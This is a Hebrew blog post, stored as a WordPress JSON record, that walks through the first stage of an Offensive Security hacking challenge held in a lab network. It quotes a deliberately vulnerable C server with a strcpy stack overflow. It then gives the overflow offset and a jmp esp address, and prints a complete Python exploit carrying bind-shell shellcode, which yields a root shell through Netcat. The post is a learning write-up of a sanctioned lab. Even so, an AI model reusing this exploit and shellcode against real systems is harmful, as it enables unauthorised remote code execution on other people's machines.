{"id":587,"date":"2010-06-26T11:19:34","date_gmt":"2010-06-26T08:19:34","guid":{"rendered":"http:\/\/www.binaryvision.org.il\/?p=587"},"modified":"2011-09-23T17:56:12","modified_gmt":"2011-09-23T14:56:12","slug":"%d7%90%d7%aa%d7%92%d7%a8-hacking-%d7%a9%d7%9c-offensive-security-%d7%a9%d7%9c%d7%91-%d7%a8%d7%90%d7%a9%d7%95%d7%9f","status":"publish","type":"post","link":"https:\/\/www.binaryvision.co.il\/2010\/06\/%d7%90%d7%aa%d7%92%d7%a8-hacking-%d7%a9%d7%9c-offensive-security-%d7%a9%d7%9c%d7%91-%d7%a8%d7%90%d7%a9%d7%95%d7%9f\/","title":{"rendered":"\u05d0\u05ea\u05d2\u05e8 Hacking \u05e9\u05dc Offensive Security &#8211; \u05e9\u05dc\u05d1 \u05e8\u05d0\u05e9\u05d5\u05df"},"content":{"rendered":"<h2>\u05e7\u05e6\u05ea \u05e2\u05dc \u05d4\u05d0\u05ea\u05d2\u05e8<\/h2>\n<p>\u05d4\u05d0\u05ea\u05d2\u05e8 \u05d4\u05ea\u05d7\u05d9\u05dc \u05d119 \u05dc\u05d9\u05d5\u05e0\u05d9 \u05d1\u05e9\u05d1\u05ea, \u05d5\u05e0\u05de\u05e9\u05da 48 \u05e9\u05e2\u05d5\u05ea.<br \/>\n\u05d4\u05de\u05d0\u05e8\u05d2\u05e0\u05d9\u05dd \u05e9\u05dc \u05d4\u05d0\u05ea\u05d2\u05e8 \u05d4\u05e7\u05d9\u05de\u05d5 5 \u05de\u05db\u05d5\u05e0\u05d5\u05ea \u05d5\u05d9\u05e8\u05d8\u05d5\u05d0\u05dc\u05d9\u05d5\u05ea (Virtual Machines) \u05e9\u05d9\u05d5\u05e9\u05d1\u05d5\u05ea \u05e2\u05dc \u05e9\u05e8\u05ea \u05d0\u05e6\u05dc\u05d4\u05dd.<br \/>\n\u05d5\u05dc\u05db\u05dc \u05de\u05d9 \u05e9\u05e0\u05e8\u05e9\u05dd \u05e0\u05ea\u05e0\u05d5 \u05e9\u05dd \u05de\u05e9\u05ea\u05de\u05e9 \u05d5\u05e1\u05d9\u05e1\u05de\u05d4 \u05d1\u05e9\u05d1\u05d9\u05dc \u05d2\u05d9\u05e9\u05ea VPN.<br \/>\n\u05d1\u05e8\u05d2\u05e2 \u05e9\u05de\u05ea\u05d7\u05d1\u05e8\u05d9\u05dd \u05de\u05e7\u05d1\u05dc\u05d9\u05dd \u05db\u05ea\u05d5\u05d1\u05ea IP \u05d1C Class \u05e9\u05e2\u05dc\u05d9\u05d5 \u05d9\u05d5\u05e9\u05d1\u05d9\u05dd \u05d4\u05e9\u05e8\u05ea\u05d9\u05dd.<br \/>\n\u05de\u05d8\u05e8\u05ea \u05d4\u05d0\u05ea\u05d2\u05e8:<\/p>\n<ul>\n<li>\u05ea\u05d5\u05da 48 \u05e9\u05e2\u05d5\u05ea, \u05dc\u05e4\u05e8\u05d5\u05e5 5 \u05de\u05d7\u05e9\u05d1\u05d9\u05dd\n<\/li>\n<li>\u05dc\u05d4\u05e9\u05d9\u05d2 \u05de\u05d4\u05dc\u05d9\u05e0\u05d5\u05e7\u05e1\u05d9\u05dd \u05e9\u05d1\u05d4\u05dd \u05d0\u05ea \u05d4\u05ea\u05d5\u05db\u05df \u05e9\u05dc proof.txt \u05e9\u05d9\u05d5\u05e9\u05d1 \u05d1 \/root\n<\/li>\n<li>\u05d5\u05de\u05d4\u05d5\u05d9\u05e0\u05d3\u05d5\u05d5\u05e1\u05d9\u05dd \u05dc\u05d4\u05e9\u05d9\u05d2 \u05d0\u05ea \u05d4\u05ea\u05d5\u05db\u05df \u05e9\u05dc proof.txt \u05e9\u05d9\u05d5\u05e9\u05d1 \u05d1Desktop \u05e9\u05dc \u05d4\u05de\u05e0\u05d4\u05dc (Administrator)\n<\/li>\n<li>\u05db\u05dc \u05de\u05d7\u05e9\u05d1 \u05e9\u05d5\u05d5\u05d4 20 \u05e0\u05e7\u05d5\u05d3\u05d5\u05ea, \u05d4\u05e8\u05d0\u05e9\u05d5\u05df \u05e9\u05de\u05d2\u05d9\u05e2 \u05dc100 \u05e0\u05d9\u05e6\u05d7, \u05d4\u05e4\u05e8\u05e1 \u05d4\u05d9\u05d4 \u05db\u05e8\u05d8\u05d9\u05e1\u05d9\u05dd \u05dcBlackhat.\n<\/li>\n<li>\u05db\u05dc \u05de\u05db\u05d5\u05e0\u05d4 \u05e2\u05d5\u05d1\u05e8\u05ea Revert \u05db\u05dc 30 \u05d3\u05e7\u05d5\u05ea \u05db\u05d3\u05d9 \u05e9\u05d0\u05dd \u05de\u05d9\u05e9\u05d4\u05d5 \u05d4\u05e8\u05e1 \u05d0\u05d5\u05ea\u05d4 \u05dc\u05d0\u05d7\u05e8, \u05d0\u05d5 \u05dc\u05e2\u05e6\u05de\u05d5 \u05ea\u05d4\u05d9\u05d4 \u05dc\u05d5 \u05e2\u05d5\u05d3 \u05d4\u05d6\u05d3\u05de\u05e0\u05d5\u05ea.\n<\/li>\n<\/ul>\n<p>\u05e7\u05d9\u05e9\u05d5\u05e8 \u05dc\u05d0\u05ea\u05e8 \u05e9\u05dc \u05d4\u05d0\u05ea\u05d2\u05e8, \u05e2\u05dd \u05e2\u05d5\u05d3 \u05e7\u05e6\u05ea \u05d4\u05e1\u05d1\u05e8\u05d9\u05dd:<br \/>\n<a href=\"http:\/\/www.information-security-training.com\/events\/let-the-games-begin-again\">http:\/\/www.information-security-training.com\/events\/let-the-games-begin-again<\/a><br \/>\n\u05dc\u05d9 \u05d9\u05e6\u05d0 \u05dc\u05e2\u05d1\u05d5\u05d3 \u05e2\u05dc \u05d6\u05d4 \u05d1\u05e2\u05e8\u05da 10 \u05e9\u05e2\u05d5\u05ea.<\/p>\n<h2>\u05e1\u05e8\u05d9\u05e7\u05d4 \u05e8\u05d0\u05e9\u05d5\u05e0\u05d9\u05ea<\/h2>\n<p>\u05de\u05e8\u05d9\u05dd \u05d1Backtrack 4 \u05de\u05d7\u05d1\u05e8 \u05d0\u05d5\u05ea\u05d5 \u05dcVPN \u05d5\u05de\u05e7\u05d1\u05dc \u05db\u05ea\u05d5\u05d1\u05ea 172.16.6.90<br \/>\n\u05de\u05e8\u05d9\u05e5 NMap \u05e2\u05dc \u05d4255 \u05de\u05d7\u05e9\u05d1\u05d9\u05dd \u05e9\u05d0\u05d9\u05ea\u05d9 \u05d1\u05e8\u05e9\u05ea, \u05d5\u05de\u05d5\u05e6\u05d0 5 \u05e9\u05e8\u05ea\u05d9\u05dd.<\/p>\n<ul>\n<li>200 &#8211; \u05e4\u05ea\u05d5\u05d7 \u05e4\u05d5\u05e8\u05d8 80\n<\/li>\n<li>141 &#8211; \u05e4\u05ea\u05d5\u05d7 \u05e4\u05d5\u05e8\u05d8 80 \u05d5\u05db\u05de\u05d4 \u05e4\u05d5\u05e8\u05d8\u05d9\u05dd \u05e9\u05dc SIP\n<\/li>\n<li>115 &#8211; \u05e4\u05ea\u05d5\u05d7 \u05e9\u05e8\u05ea SQL\n<\/li>\n<li>140 &#8211; \u05e4\u05d5\u05e8\u05d8 80 \u05e4\u05ea\u05d5\u05d7 \u05d5\u05db\u05de\u05d4 \u05e9\u05d4\u05dd filtered\n<\/li>\n<li>150 &#8211; \u05e2\u05e0\u05d4 \u05dc\u05d9 \u05e4\u05e2\u05dd \u05e2\u05dc \u05e4\u05d5\u05e8\u05d8 \u05db\u05dc\u05e9\u05d4\u05d5 \u05d5\u05e0\u05e2\u05dc\u05dd\n<\/li>\n<\/ul>\n<h2>\u05de\u05e2\u05d1\u05e8 \u05de\u05d4\u05d9\u05e8 \u05e2\u05dc \u05d4\u05de\u05d7\u05e9\u05d1\u05d9\u05dd<\/h2>\n<ul>\n<li>141 &#8211; \u05de\u05e6\u05d9\u05d2 \u05d0\u05ea\u05e8 \u05e2\u05dd \u05ea\u05de\u05d5\u05e0\u05d4 \u05e9\u05dc \u05d9\u05ea\u05d5\u05e9 \u05d0\u05e0\u05d5\u05e9\u05d9 \u05db\u05d6\u05d4, \u05e2\u05dd \u05d4\u05d8\u05e7\u05e1\u05d8 bRAin suck3r \u05de\u05ea\u05d7\u05ea\n<\/li>\n<li>140 &#8211; \u05de\u05e6\u05d9\u05d2 \u05d7\u05ea\u05d5\u05dc \u05e9\u05e0\u05e8\u05d0\u05d4 \u05db\u05d0\u05d9\u05dc\u05d5 \u05de\u05e1\u05ea\u05d9\u05e8 \u05d0\u05ea \u05d4\u05d1\u05d9\u05e6\u05d9\u05dd \u05e9\u05dc\u05d5 \u05d5\u05de\u05d5\u05e4\u05ea\u05e2 \u05d5\u05db\u05ea\u05d5\u05d1 OMG!!! Knock First!!!\n<\/li>\n<li>115 &#8211; \u05e9\u05e8\u05ea SQL \u05e9\u05d0\u05d9\u05df \u05dc\u05d9 \u05de\u05e9\u05ea\u05de\u05e9 \u05d0\u05dc\u05d9\u05d5\n<\/li>\n<li>200 &#8211; \u05de\u05e6\u05d9\u05d2 \u05ea\u05d9\u05e7\u05d9\u05d9\u05d4 \u05e2\u05dd 2 \u05e7\u05d1\u05e6\u05d9\u05dd Vuln.c \u05d5 Vuln \u05d1\u05d9\u05e0\u05d0\u05e8\u05d9.\n<\/li>\n<li>150 &#8211; \u05dc\u05d0 \u05d4\u05ea\u05e2\u05e1\u05e7\u05ea\u05d9 \u05d0\u05d9\u05ea\u05d5\n<\/li>\n<\/ul>\n<p>\u05d4\u05db\u05d9 \u05de\u05e2\u05e0\u05d9\u05d9\u05df \u05d5\u05d4\u05db\u05d9 \u05d1\u05e8\u05d5\u05e8 \u05de\u05db\u05dc \u05d4\u05de\u05d7\u05e9\u05d1\u05d9\u05dd \u05d4\u05d0\u05dc\u05d4 \u05d4\u05d9\u05d4 \u05dc\u05d3\u05e2\u05ea\u05d9 200, \u05e9\u05d4\u05d9\u05d4 \u05e2\u05dc\u05d9\u05d5 \u05e7\u05d5\u05d3 C \u05d5\u05d1\u05d9\u05e0\u05d0\u05e8\u05d9 \u05e9\u05dc \u05de\u05e9\u05d4\u05d5.<\/p>\n<h2>Vuln<\/h2>\n<p>\u05d1\u05e9\u05e8\u05ea 200 \u05d4\u05d9\u05d5 2 \u05e7\u05d1\u05e6\u05d9\u05dd, \u05d4\u05e0\u05d4 \u05d4\u05dd \u05dc\u05d4\u05d5\u05e8\u05d3\u05d4, \u05de\u05d9 \u05e9\u05e8\u05d5\u05e6\u05d4 \u05dc\u05e8\u05d0\u05d5\u05ea:<br \/>\n<a href=\"http:\/\/www.filesonic.com\/file\/2125504824\/vuln.rar\">http:\/\/www.filesonic.com\/file\/2125504824\/vuln.rar<\/a><br \/>\n\u05d4\u05e7\u05d1\u05e6\u05d9\u05dd \u05d4\u05d9\u05d5 \u05d1\u05d9\u05e0\u05d0\u05e8\u05d9 \u05e9\u05dc \u05dc\u05d9\u05e0\u05d5\u05e7\u05e1, \u05d5\u05e7\u05d5\u05d3 \u05de\u05e7\u05d5\u05e8 \u05e9\u05dc\u05d5 \u05d1C.<br \/>\n\u05de\u05e2\u05d1\u05e8 \u05e2\u05dc \u05d4\u05de\u05e7\u05d5\u05e8 \u05de\u05d2\u05dc\u05d4 \u05d0\u05ea \u05d4\u05e9\u05d5\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d5\u05ea:<\/p>\n<pre><pre class=\"brush: c\">\n#define LISTENPORT 7500\n...\n\/\/now fill in the fields we need\n  my_addr.sin_family = AF_INET;\n  my_addr.sin_port = htons(LISTENPORT);\n  my_addr.sin_addr.s_addr = htonl(INADDR_ANY);\n\n  \/\/bind our socket to the port\n  if (bind(sock,(struct sockaddr *)&amp;my_addr, ...)){\n    perror(&quot;bind&quot;);\n    exit(1);\n  }\n\n  \/\/start listening for incoming connections\n  if (listen(sock,BACKLOG) == -1) {\n    perror(&quot;listen&quot;);\n    exit(1);\n  }\n<\/pre>\n<p>\u05d4\u05e7\u05d5\u05d3 \u05de\u05d0\u05d6\u05d9\u05df \u05e2\u05dc \u05e4\u05d5\u05e8\u05d8 7500.<br \/>\n\u05de\u05e4\u05e2\u05d9\u05dc NMap \u05e9\u05d5\u05d1 \u05d5\u05e1\u05d5\u05e8\u05e7 \u05d0\u05ea \u05d4\u05de\u05d7\u05e9\u05d1\u05d9\u05dd, \u05de\u05e7\u05d1\u05dc 7500 \u05e4\u05ea\u05d5\u05d7 \u05e2\u05dc \u05d0\u05d5\u05ea\u05d5 \u05d4\u05de\u05d7\u05e9\u05d1 \u05e9\u05dc\u05e7\u05d7\u05ea\u05d9 \u05de\u05de\u05e0\u05d5 \u05d0\u05ea \u05d4\u05e7\u05d1\u05e6\u05d9\u05dd (200).<br \/>\n\u05d0\u05d6 \u05d4\u05d1\u05d9\u05e0\u05d0\u05e8\u05d9 \u05d4\u05d6\u05d4 \u05e8\u05e5 \u05e2\u05dc \u05d4\u05e9\u05e8\u05ea \u05d4\u05d6\u05d4.<br \/>\n\u05d1\u05d5\u05d0\u05d5 \u05e0\u05e8\u05d0\u05d4 \u05d0\u05dd \u05d9\u05e9 \u05d7\u05d5\u05dc\u05e9\u05d4 \u05d1\u05d1\u05d9\u05e0\u05d0\u05e8\u05d9 (\u05d2\u05dd \u05d4\u05e9\u05dd \u05e9\u05dc\u05d5 \u05de\u05e8\u05de\u05d6).<br \/>\n\u05e9\u05d5\u05e8\u05d5\u05ea \u05de\u05e2\u05e0\u05d9\u05d9\u05e0\u05d5\u05ea:<\/p>\n<pre><pre class=\"brush: c\">\nchar reply[1024];\n...\n    recv(conn, reply, 1024, 0);\n    handle_reply(reply);\n...\nint handle_reply(char *str)\n{\nchar response[256];\nstrcpy(response,str);\nprintf(&quot;Your message is \\&quot;%s\\&quot;\\n&quot;,response);\nreturn 0;\n}\n<\/pre>\n<p>\u05d4\u05ea\u05d5\u05db\u05e0\u05d4 \u05de\u05e7\u05d1\u05dc\u05ea \u05d1\u05d0\u05e4\u05e8 \u05d1\u05d2\u05d5\u05d3\u05dc 1024, \u05de\u05e2\u05d1\u05d9\u05e8\u05d4 \u05d0\u05d5\u05ea\u05d5 \u05dc\u05e4\u05d5\u05e0\u05e7\u05e6\u05d9\u05d9\u05d4 \u05e9\u05de\u05e2\u05ea\u05d9\u05e7\u05d4 \u05d0\u05d5\u05ea\u05d5 \u05d1\u05e6\u05d5\u05e8\u05d4 \u05dc\u05d0 \u05d1\u05d8\u05d5\u05d7\u05d4 \u05dc\u05d1\u05d0\u05e4\u05e8 \u05d1\u05d2\u05d5\u05d3\u05dc 256.<br \/>\nBuffer Overflow \u05e7\u05dc\u05d0\u05e1\u05d9, \u05e2\u05dc \u05d4\u05de\u05d7\u05e1\u05e0\u05d9\u05ea, \u05d6\u05d4 \u05d0\u05d5\u05de\u05e8 \u05e9\u05d0\u05e4\u05e9\u05e8 \u05dc\u05d4\u05e8\u05d9\u05e5 \u05e7\u05d5\u05d3.<br \/>\n\u05e2\u05d5\u05d3 \u05e7\u05d8\u05e2 \u05e9\u05e7\u05d5\u05e4\u05e5 \u05dc\u05e2\u05d9\u05e0\u05d9\u05d9\u05dd \u05d1\u05e7\u05d5\u05d3:<\/p>\n<pre><pre class=\"brush: c\">\nint jmp(void){\n __asm__(&quot;jmp %esp&quot;);\n return 0;\n}\n<\/pre>\n<p>\u05d4\u05dd \u05d0\u05e4\u05d9\u05dc\u05d5 \u05e0\u05ea\u05e0\u05d5 \u05dc\u05d9 \u05d0\u05ea \u05d4\u05de\u05e7\u05e4\u05e6\u05d4 \u05d1\u05ea\u05d5\u05da \u05d4\u05e7\u05d5\u05d3 \u05e2\u05e6\u05de\u05d5, \u05d0\u05d9\u05df \u05e6\u05d5\u05e8\u05da \u05dc\u05d7\u05e4\u05e9 \u05e9\u05e0\u05d9\u05dd \u05de\u05e9\u05d4\u05d5 \u05d2\u05e0\u05e8\u05d9 \u05e9\u05e7\u05d9\u05d9\u05dd \u05d2\u05dd \u05d1\u05dc\u05d9\u05e0\u05d5\u05e7\u05e1 \u05d0\u05d7\u05e8 \u05d5\u05db\u05dc \u05d6\u05d4.<\/p>\n<h2>\u05e0\u05d9\u05e6\u05d5\u05dc \u05d7\u05d5\u05dc\u05e9\u05d4<\/h2>\n<p>\u05e9\u05dc\u05d1 \u05e8\u05d0\u05e9\u05d5\u05df, \u05d0\u05e0\u05d9 \u05de\u05e2\u05d1\u05d9\u05e8 \u05dcBacktrack \u05e9\u05dc\u05d9 \u05d0\u05ea \u05d4Vuln, \u05de\u05e8\u05d9\u05e5, \u05de\u05ea\u05e7\u05e9\u05e8 \u05d0\u05d9\u05ea\u05d5 \u05d1\u05d5\u05d3\u05e7 \u05e9\u05d4\u05d5\u05d0 \u05de\u05d2\u05d9\u05d1 \u05db\u05de\u05d5 \u05e9\u05d0\u05de\u05d5\u05e8 \u05dc\u05d4\u05d2\u05d9\u05d1.<br \/>\n\u05d0\u05d7\u05e8\u05d9 \u05d6\u05d4 \u05de\u05e8\u05d9\u05e5 \u05d0\u05d5\u05ea\u05d5 \u05de\u05d7\u05d3\u05e9 \u05e2\u05dd gdb, \u05d5\u05de\u05db\u05d9\u05df \u05e1\u05e8\u05e7\u05e8\u05d9\u05e4\u05d8 Python \u05e9\u05de\u05e4\u05e6\u05d9\u05e5 \u05d0\u05d5\u05ea\u05d5 \u05d11000 \u05ea\u05d5\u05d5\u05d9\u05dd \u05e9\u05dc A.<br \/>\n\u05de\u05e7\u05d1\u05dc \u05db\u05e6\u05e4\u05d5\u05d9 Segmentation Fault \u05e2\u05dc \u05e0\u05d9\u05e1\u05d9\u05d5\u05df \u05dc\u05d4\u05e8\u05d9\u05e5 0x41414141 \u05e9\u05d6\u05d4 &quot;AAAA&quot;.<br \/>\n\u05de\u05e1\u05ea\u05db\u05dc \u05e2\u05dc \u05d4\u05de\u05d9\u05e7\u05d5\u05dd \u05d4\u05e0\u05d5\u05db\u05d7\u05d9 \u05d1\u05de\u05d7\u05e1\u05e0\u05d9\u05ea, \u05de\u05e1\u05ea\u05db\u05dc \u05d0\u05d7\u05e8\u05d5\u05e8\u05d4 \u05d5\u05e8\u05d5\u05d0\u05d4 \u05e9\u05d4\u05d1\u05d0\u05e4\u05e8 \u05de\u05ea\u05d7\u05d9\u05dc 268 \u05ea\u05d5\u05d5\u05d9\u05dd \u05d0\u05d7\u05d5\u05e8\u05d4.<br \/>\n\u05d7\u05d5\u05d6\u05e8 \u05dc\u05e1\u05e7\u05e8\u05d9\u05e4\u05d8, \u05de\u05ea\u05e7\u05df \u05d0\u05ea \u05d4\u05d1\u05d0\u05e4\u05e8 \u05db\u05db\u05d4 \u05e9\u05d9\u05e9\u05dc\u05d7 268 \u05d0\u05d5\u05ea\u05d9\u05d5\u05ea A, \u05d5\u05d0\u05d7\u05e8\u05d9 \u05d6\u05d4 0xDEADBEEF, \u05d5\u05d0\u05d7\u05e8\u05d9 \u05d6\u05d4 \u05e2\u05d5\u05d3 \u05d0\u05d9\u05d6\u05d4 30 \u05d0\u05d5\u05ea\u05d9\u05d5\u05ea B.<br \/>\n\u05de\u05e8\u05d9\u05e5 \u05de\u05d7\u05d3\u05e9 \u05d0\u05ea \u05d4\u05e7\u05d5\u05d1\u05e5 \u05e2\u05dd gdb, \u05de\u05e8\u05d9\u05e5 \u05e1\u05e7\u05e8\u05d9\u05e4\u05d8, \u05d5\u05de\u05e8\u05d5\u05e6\u05d4 \u05de\u05d0\u05d3 \u05de\u05d4\u05ea\u05d5\u05e6\u05d0\u05d4, \u05d4\u05d5\u05d0 \u05e7\u05d5\u05e8\u05e1 \u05e2\u05dc \u05e0\u05d9\u05e1\u05d9\u05d5\u05df \u05d4\u05e8\u05e6\u05d4 \u05e9\u05dc 0xDEADBEEF.<br \/>\n\u05e9\u05dc\u05d1 \u05d4\u05d1\u05d0, \u05d0\u05d9\u05e4\u05d4 \u05d4\u05de\u05e7\u05e4\u05e6\u05d4 \u05e9\u05dc\u05e0\u05d5, \u05d0\u05e0\u05d7\u05e0\u05d5 \u05e6\u05e8\u05d9\u05db\u05d9\u05dd jmp esp, \u05db\u05de\u05d4 \u05d9\u05e4\u05d4 \u05de\u05e6\u05d9\u05d3\u05ea \u05e9\u05d4\u05dd \u05e9\u05de\u05d5 \u05d0\u05ea \u05d6\u05d4 \u05d1\u05e7\u05d5\u05d3, \u05d6\u05d4 \u05d0\u05d5\u05de\u05e8 \u05e9\u05e8\u05d5\u05d1 \u05d4\u05e1\u05d9\u05db\u05d5\u05d9\u05d9\u05dd \u05e9\u05d4\u05db\u05ea\u05d5\u05d1\u05ea \u05dc\u05d0 \u05ea\u05d6\u05d5\u05d6 \u05d0\u05dd \u05de\u05e8\u05d9\u05e6\u05d9\u05dd \u05d0\u05ea \u05d4\u05e7\u05d5\u05d1\u05e5 \u05d1\u05dc\u05d9\u05e0\u05d5\u05e7\u05e1 \u05d3\u05d5\u05de\u05d4.<br \/>\n\u05de\u05e1\u05ea\u05db\u05dc \u05e2\u05dc \u05d4\u05e7\u05d5\u05d3 \u05d1IDA, \u05d5\u05e8\u05d5\u05d0\u05d4 \u05e9\u05d4\u05db\u05ea\u05d5\u05d1\u05ea \u05e9\u05dc JMP ESP, \u05d4\u05d9\u05d0: 0x0804866A<br \/>\n\u05de\u05e2\u05d3\u05db\u05df \u05d0\u05ea \u05d4\u05e1\u05e7\u05e8\u05d9\u05e4\u05d8, \u05de\u05d5\u05e1\u05d9\u05e3 \u05d1\u05de\u05e7\u05d5\u05dd \u05d4B \u05d4\u05e8\u05d0\u05e9\u05d5\u05df, \u05d0\u05ea \u05d4\u05e7\u05d5\u05d3 \u05e9\u05dc int3 (\u05de\u05d9 \u05e9\u05dc\u05d0 \u05d9\u05d5\u05d3\u05e2 \u05d6\u05d4 0xcc).<br \/>\n\u05de\u05e8\u05d9\u05e5 \u05de\u05d7\u05d3\u05e9 \u05d0\u05ea \u05d4\u05ea\u05d5\u05db\u05e0\u05d4 \u05d4\u05e4\u05d2\u05d9\u05e2\u05d4 \u05e2\u05dd \u05d4\u05d3\u05d1\u05d0\u05d2\u05e8 \u05de\u05d7\u05d5\u05d1\u05e8, \u05ea\u05d5\u05e7\u05e3 \u05d0\u05d5\u05ea\u05d5 \u05e2\u05dd \u05d4\u05e1\u05e7\u05e8\u05d9\u05e4\u05d8, \u05d5\u05de\u05e7\u05d1\u05dc SIGTRAP, \u05db\u05e9\u05d4\u05d5 \u05de\u05e0\u05e1\u05d4 \u05dc\u05d4\u05e8\u05d9\u05e5 \u05d0\u05ea INT3.<br \/>\n\u05e7\u05d9\u05d1\u05dc\u05ea\u05d9 Code Execution.<br \/>\n\u05e0\u05db\u05e0\u05e1 \u05dcmetasploit.com \u05de\u05d5\u05e8\u05d9\u05d3 \u05d0\u05ea \u05d4Bind Shell \u05d4\u05e8\u05d0\u05e9\u05d5\u05df \u05e9\u05d0\u05e0\u05d9 \u05e8\u05d5\u05d0\u05d4, \u05de\u05e9\u05dc\u05d1 \u05d0\u05d5\u05ea\u05d5 \u05d1\u05de\u05e7\u05d5\u05dd \u05d40xCC.<\/p>\n<pre><pre class=\"brush: python\">\nSHELLCODE = (&quot;\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd&quot;\n&quot;\\x80\\x5b\\x5e\\x52\\x68\\xff\\x02\\x11\\x5c\\x6a\\x10\\x51\\x50\\x89&quot;\n&quot;\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x89\\x41\\x04\\xb3\\x04\\xb0\\x66\\xcd&quot;\n&quot;\\x80\\x43\\xb0\\x66\\xcd\\x80\\x93\\x59\\x6a\\x3f\\x58\\xcd\\x80\\x49&quot;\n&quot;\\x79\\xf8\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3&quot;\n&quot;\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80&quot;)\n<\/pre>\n<p>\u05de\u05d5\u05e1\u05d9\u05e3 \u05db\u05de\u05d4 \u05e9\u05d5\u05e8\u05d5\u05ea \u05dc\u05e4\u05d9\u05d9\u05d8\u05d5\u05df \u05db\u05d3\u05d9 \u05dc\u05d0\u05e4\u05e9\u05e8 \u05d4\u05d7\u05dc\u05e4\u05ea \u05e4\u05d5\u05e8\u05d8 \u05de\u05d0\u05d6\u05d9\u05df \u05e9\u05d9\u05e4\u05ea\u05d7 \u05e9\u05dc\u05d0 \u05d9\u05d4\u05d9\u05d4 4444, (\\x11\\x5c)<br \/>\n\u05e2\u05d5\u05e9\u05d4 \u05d1\u05d3\u05d9\u05e7\u05d4 \u05de\u05e7\u05d5\u05de\u05d9\u05ea \u05e2\u05dc \u05d4\u05ea\u05d5\u05db\u05e0\u05d4 \u05e9\u05de\u05e8\u05d9\u05e5 \u05d0\u05e6\u05dc\u05d9, \u05d4\u05e4\u05d9\u05e8\u05e6\u05d4 \u05de\u05e6\u05dc\u05d9\u05d7\u05d4, \u05d5\u05e4\u05d5\u05ea\u05d7\u05ea \u05e4\u05d5\u05e8\u05d8 \u05dc\u05d4\u05d0\u05d6\u05e0\u05d4, \u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea Netcat \u05e0\u05d5\u05ea\u05e0\u05ea \u05dc\u05d9 \u05d2\u05d9\u05e9\u05d4.<br \/>\n\u05d0\u05d6 \u05d4\u05e0\u05d4 \u05d4Exploit \u05e9\u05db\u05ea\u05d1\u05ea\u05d9 \u05db\u05d3\u05d9 \u05dc\u05e4\u05e8\u05d5\u05e5 \u05d0\u05ea \u05d4\u05ea\u05d5\u05db\u05e0\u05d4 \u05d4\u05d6\u05d0\u05ea:<\/p>\n<pre><pre class=\"brush: python\">\n#!\/usr\/bin\/python\n#\n# exploit.py &lt;ip&gt; &lt;port&gt;\n#\n#\n\nimport socket\nimport sys\nimport time\nimport struct\n\nJMP_ESP_ADDR = 0x0804866A\n\nSHELLCODE = (&quot;\\x31\\xdb\\xf7\\xe3\\x53\\x43\\x53\\x6a\\x02\\x89\\xe1\\xb0\\x66\\xcd&quot;\n&quot;\\x80\\x5b\\x5e\\x52\\x68\\xff\\x02\\x11\\x5c\\x6a\\x10\\x51\\x50\\x89&quot;\n&quot;\\xe1\\x6a\\x66\\x58\\xcd\\x80\\x89\\x41\\x04\\xb3\\x04\\xb0\\x66\\xcd&quot;\n&quot;\\x80\\x43\\xb0\\x66\\xcd\\x80\\x93\\x59\\x6a\\x3f\\x58\\xcd\\x80\\x49&quot;\n&quot;\\x79\\xf8\\x68\\x2f\\x2f\\x73\\x68\\x68\\x2f\\x62\\x69\\x6e\\x89\\xe3&quot;\n&quot;\\x50\\x53\\x89\\xe1\\xb0\\x0b\\xcd\\x80&quot;)\n\ndef main(ip,port):\n\tglobal SHELLCODE\n\tglobal JMP_ESP_ADDR\n\tso = socket.socket()\n\tso.connect((ip,7500))\n\tgreet = so.recv(1024)\n\tSHELLCODE = SHELLCODE[:21]+struct.pack(&quot;!H&quot;,port)+SHELLCODE[23:]\n\tbuff = &quot;A&quot; * 268 + struct.pack(&quot;L&quot;,JMP_ESP_ADDR) + SHELLCODE\n\tso.sendall(buff)\n\ttime.sleep(5)\n\tso.close()\n\t\nmain(sys.argv[1],long(sys.argv[2]))\n<\/pre>\n<p>\u05de\u05e8\u05d9\u05e5 \u05d0\u05ea \u05d4\u05d0\u05e7\u05e1\u05e4\u05dc\u05d5\u05d9\u05d8 \u05e2\u05dc \u05d4\u05e9\u05e8\u05ea 6.200, \u05d5\u05d0\u05d7\u05e8\u05d9 \u05d6\u05d4 \u05de\u05ea\u05d7\u05d1\u05e8 \u05dc\u05e4\u05d5\u05e8\u05d8 \u05e9\u05e0\u05e4\u05ea\u05d7 \u05e2\u05dd Netcat.<\/p>\n<h2>\u05de\u05d4 \u05d9\u05e9 \u05d1\u05e9\u05e8\u05ea<\/h2>\n<p>\u05e0\u05e8\u05d0\u05d4 \u05db\u05d0\u05d9\u05dc\u05d5 \u05d4\u05ea\u05d7\u05d1\u05e8\u05ea\u05d9 \u05dbRoot, \u05d0\u05d9\u05df \u05e6\u05d5\u05e8\u05da \u05dc\u05e2\u05dc\u05d5\u05ea \u05d4\u05e8\u05e9\u05d0\u05d5\u05ea! \ud83d\ude42<br \/>\n\u05e0\u05db\u05e0\u05e1 \u05dc\u05ea\u05d9\u05e7\u05d9\u05d9\u05ea \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc root, \u05de\u05d5\u05e6\u05d0 \u05e9\u05dd \u05d0\u05ea proof.txt, \u05de\u05e6\u05d9\u05d2 \u05d0\u05ea \u05d4\u05ea\u05d5\u05db\u05df \u05e9\u05dc\u05d5, \u05de\u05e2\u05ea\u05d9\u05e7 \u05d0\u05ea \u05d4Hash.<br \/>\n\u05e8\u05d5\u05d0\u05d4 \u05e2\u05d5\u05d3 \u05e7\u05d5\u05d1\u05e5 \u05de\u05e2\u05e0\u05d9\u05d9\u05df, mosquito.exe, \u05de\u05d5\u05e8\u05d9\u05d3 \u05d0\u05d5\u05ea\u05d5 \u05d1\u05e2\u05d6\u05e8\u05ea Netcat.<br \/>\n\u05d4\u05d5\u05dc\u05da \u05dc\u05d0\u05ea\u05e8 \u05e9\u05dc \u05d4\u05d0\u05ea\u05d2\u05e8, \u05de\u05db\u05e0\u05d9\u05e1 \u05d0\u05ea \u05d4Hash, \u05d6\u05d5\u05db\u05d4 \u05d120 \u05e0\u05e7\u05d5\u05d3\u05d5\u05ea!<\/p>\n<h2>\u05d1\u05e4\u05d5\u05e1\u05d8 \u05d4\u05d1\u05d0<\/h2>\n<p>\u05de\u05d4 \u05d6\u05d4 mosquito.exe?<br \/>\n\u05d4\u05d0\u05dd 